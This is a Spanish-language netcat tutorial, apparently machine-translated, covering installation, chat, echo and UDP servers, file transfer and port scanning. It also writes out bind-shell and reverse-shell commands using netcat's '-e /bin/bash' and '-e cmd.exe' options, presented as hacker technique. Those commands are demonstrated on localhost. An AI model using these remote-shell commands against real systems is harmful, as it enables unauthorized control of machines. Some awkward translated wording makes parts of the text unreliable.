Netcat

Netcat es una aplicación de terminal que es similar al programa telnet pero tiene muchas más características.

es una «versión power» del programa tradicional telnet.

aparte de las funciones básicas de telnet, puede hacer varias otras cosas, como crear servidores socket para escuchar las conexiones entrantes en los puertos, transferir archivos desde el terminal, etc.

Por lo que es una pequeña herramienta que está llena de muchas características., Por lo tanto, se llama la «navaja suiza para TCP/IP».

el manual de netcat define netcat como

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.

así que básicamente netcat es una herramienta para hacer algunas comunicaciones de red bidireccionales sobre los protocolos TCP / UDP.

más técnicamente hablando, netcat puede actuar como un servidor o cliente de socket e interactuar con otros programas al mismo tiempo que envía y recibe datos a través de la red.

tal definición suena demasiado genérica y hace difícil entender qué hace exactamente esta herramienta y para qué es útil., Esto solo se puede entender usándolo y jugando con él.

Ncat

así que lo primero que debe hacer es configurar netcat en su máquina. Netcat viene en varios sabores. Significa que está disponible de múltiples proveedores.

pero la mayoría de ellos tienen una funcionalidad similar. En Ubuntu hay 3 paquetes llamados netcat-openbsd, netcat-traditional y ncat.

Mi versión preferida es ncat. Ncat ha sido desarrollado por el equipo de nmap es el mejor de todos los netcats disponibles y lo más importante es su multiplataforma y funciona muy bien en windows.,

sitio web del proyecto:

instalar Ncat en Windows

la versión de Windows de netcat se puede descargar desde

simplemente descargue y extraiga los archivos en un lugar adecuado.

o descargue la versión de windows de ncat

instale Ncat en Ubuntu / Linux Mint / Linux

El paquete syntaptic de Ubuntu tiene paquetes netcat-openbsd y netcat-traditional disponibles. Instale ambos. Nmap también viene con una implementación de netcat llamada ncat. Instala eso también.,

Install on Ubuntu

$ sudo apt-get install netcat-traditional netcat-openbsd nmap

para usar la implementación de netcat-openbsd use el comando «nc».
para usar netcat-implementación tradicional use » nc.traditional «command
Para usar nmap ncat use el comando» ncat».

Netcat Command Examples

en el siguiente tutorial vamos a usar todos ellos en diferentes ejemplos de diferentes maneras.

Telnet

Lo primero que se puede utilizar netcat es un programa telnet. Veamos cómo.

$ nc -v google.com 80

ahora netcat está conectado a google.com en el puerto 80 y es hora de enviar algún mensaje., Vamos a tratar de obtener la página de índice. Para este tipo «obtener índice.html HTTP / 1.1 » y pulse la tecla Enter dos veces. Recuerda dos veces.

la salida de google.com se ha recibido y se hizo eco en la terminal.

servidor de socket Simple

para abrir un servidor de socket simple escriba el siguiente comando.

$ nc -l -v 1234

El comando anterior significa : Netcat listen to TCP port 1234. La opción-v proporciona una salida detallada para una mejor comprensión., Ahora desde otro terminal intente conectarse al puerto 1234 usando el comando telnet de la siguiente manera:

$ telnet localhost 1234Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.abcting tong

después de conectarse enviamos un mensaje de prueba como abc y Ting tong al servidor de sockets netcat. El servidor de socket netcat hará eco de los datos recibidos del cliente telnet.

$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong

Este es un completo Sistema de Chat. Escriba algo en el terminal netcat y se mostrará en el terminal telnet también. Así que esta técnica se puede utilizar para chatear entre 2 máquinas.,

servidor ECHO completo

Ncat con la opción-c se puede utilizar para iniciar un servidor echo. Source

inicie el servidor echo usando ncat de la siguiente manera

$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'

ahora desde otro terminal conéctese usando telnet y escriba algo. Se enviará de vuelta con el prefijo»».la versión de netcat-openbsd no tiene la opción-c. Recuerde usar siempre la opción-v para la salida detallada.

Nota : A Netcat se le puede indicar que guarde los datos en un archivo en lugar de repetirlos en el terminal.,

$ nc -l -v 1234 > data.txt

crear servidor UDP

Netcat también funciona con puertos udp. Para iniciar un servidor netcat usando puertos udp use la opción-u

$ nc -v -ul 7000

cliente UDP

conéctese a este servidor usando netcat desde otro terminal

$ nc localhost -u 7000

ahora ambos terminales pueden chatear entre sí.

transferencia de archivos

se puede transferir un archivo completo con netcat. Aquí hay un ejemplo rápido.

One machine a-Send File

$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555

en el comando anterior, el comando cat Lee y muestra el contenido de happy.txt., La salida no se hace eco al terminal, sino que se canaliza o alimenta a ncat que ha abierto un servidor socket en el puerto 5555.

en la máquina B – Receive File

$ ncat localhost 5555 > happy_copy.txt

en el comando anterior, ncat se conectará a localhost en el puerto 5555 y lo que reciba se escribirá en happy_copy.txt

Ahora happy_copy.txt será una copia de happy.txt ya que los datos que se envían a través del puerto 5555 es el contenido de happy.txt en el comando anterior.

Netcat enviará el archivo solo al primer cliente que se conecte a él. Después de eso se acabó.,
Y después de que el primer cliente cierre la conexión, el servidor netcat también cerrará la conexión.

exploración de puertos

Netcat también se puede utilizar para la exploración de puertos. Sin embargo, este no es un uso adecuado de netcat y se debe usar una herramienta más aplicable como nmap.

el parámetro «-n» impide la búsqueda de DNS,»- z «hace que nc no reciba ningún dato del servidor, y» – w 1 » hace que el tiempo de espera de conexión después de 1 segundo de inactividad.

Shell remoto / Backdoor

Ncat se puede utilizar para iniciar un shell básico en un sistema remoto en un puerto sin la necesidad de ssh., Aquí hay un ejemplo rápido.

$ ncat -v -l -p 7777 -e /bin/bash

lo anterior iniciará un servidor en el puerto 7777 y pasará toda la entrada entrante al comando bash y los resultados se enviarán de vuelta. El comando básicamente convierte el programa bash en un servidor. Así netcat se puede utilizar para convertir cualquier proceso en un servidor.

Conecte a esta bash shell mediante nc desde otro terminal

$ nc localhost 7777

Ahora, intente ejecutar cualquier comando como ayuda , ls , pwd, etc.

Windows

en la máquina de windows el cmd.,exe (DOS prompt program) se usa para iniciar un shell similar usando netcat. La sintaxis del comando es la misma.

C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182

ahora otra consola puede conectarse usando el comando telnet

aunque netcat se puede usar para configurar shells remotos, no es útil para obtener un shell interactivo en un sistema remoto porque en la mayoría de los casos netcat no se instalaría en un sistema remoto.

el método más efectivo para obtener un shell en una máquina remota usando netcat es creando shells inversos.,

Reverse Shells

Esta es la característica más potente de netcat para la que es más utilizada por los hackers. Netcat se utiliza en casi todas las técnicas de shell inverso para capturar la conexión inversa del programa shell de un sistema hackeado.

Telnet inverso

primero tomemos un ejemplo de una conexión telnet inversa simple. En ordinate telnet connection el cliente se conecta al servidor para iniciar un canal de comunicación.

Your system runs (# telnet server port_number) =============> Server

ahora, utilizando la técnica anterior, puede conectarse al puerto 80 del servidor para obtener una página web., Sin embargo, un hacker está interesado en obtener un shell de comandos. Es el símbolo del sistema de windows o el terminal de linux. El shell de comandos le da el control definitivo del sistema remoto. Ahora no hay ningún servicio que se ejecute en el servidor remoto al que pueda conectarse y obtener un shell de comandos.

así que cuando un hacker hackea un sistema, necesita obtener un shell de comandos. Dado que no es posible directamente, la solución es utilizar un shell inverso. En un shell inverso, el servidor inicia una conexión con la máquina del hacker y da un shell de comandos.,

Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine

Para esperar las conexiones entrantes, se debe abrir un receptor de sockets local. Netcat / ncat puede hacer esto.
Primero se debe iniciar un servidor netcat en una máquina local o en la máquina del hacker.

máquina a

$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888

lo anterior iniciará un servidor socket (oyente) en el puerto 8888 en la máquina local / máquina del hacker.

ahora un shell inverso tiene que ser lanzado en la máquina objetivo/máquina hackeada. Hay varias formas de lanzar proyectiles inversos.,

para que cualquier método funcione, el hacker debe ser capaz de ejecutar comandos arbitrarios en el sistema o debe ser capaz de cargar un archivo que se puede ejecutar abriendo desde el navegador (como un script php).

en este ejemplo no estamos haciendo ninguna de las cosas mencionadas anteriormente. Simplemente ejecutaremos netcat en el servidor también para lanzar un shell de órdenes inversas para demostrar el concepto. Por lo tanto, netcat debe instalarse en el servidor o la máquina de destino.,

máquina b :

$ ncat localhost 8888 -e /bin/bash

Este comando se conectará a la máquina a en el puerto 8888 y se alimentará en la salida de bash dando efectivamente un shell a la máquina A. Ahora la máquina a puede ejecutar cualquier comando en la máquina B.

máquina a

en un escenario de prueba de hacking/penetración real no es posible ejecutar netcat en la máquina de destino. Por lo tanto, se emplean otras técnicas para crear un shell. Estos incluyen cargar scripts PHP de shell inversos y ejecutarlos abriéndolos en el navegador. O lanzar un exploit de desbordamiento de búfer para ejecutar carga útil de shell inversa.,

conclusión

así que en los ejemplos anteriores vimos cómo usar netcat para diferentes actividades de red como telnet, shell inverso, etc. Los Hackers lo utilizan principalmente para crear conchas inversas rápidas.

en este tutorial cubrimos algunos de los usos básicos y comunes de netcat. Consulte el artículo de wikipedia para obtener más información sobre qué más puede hacer netcat.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *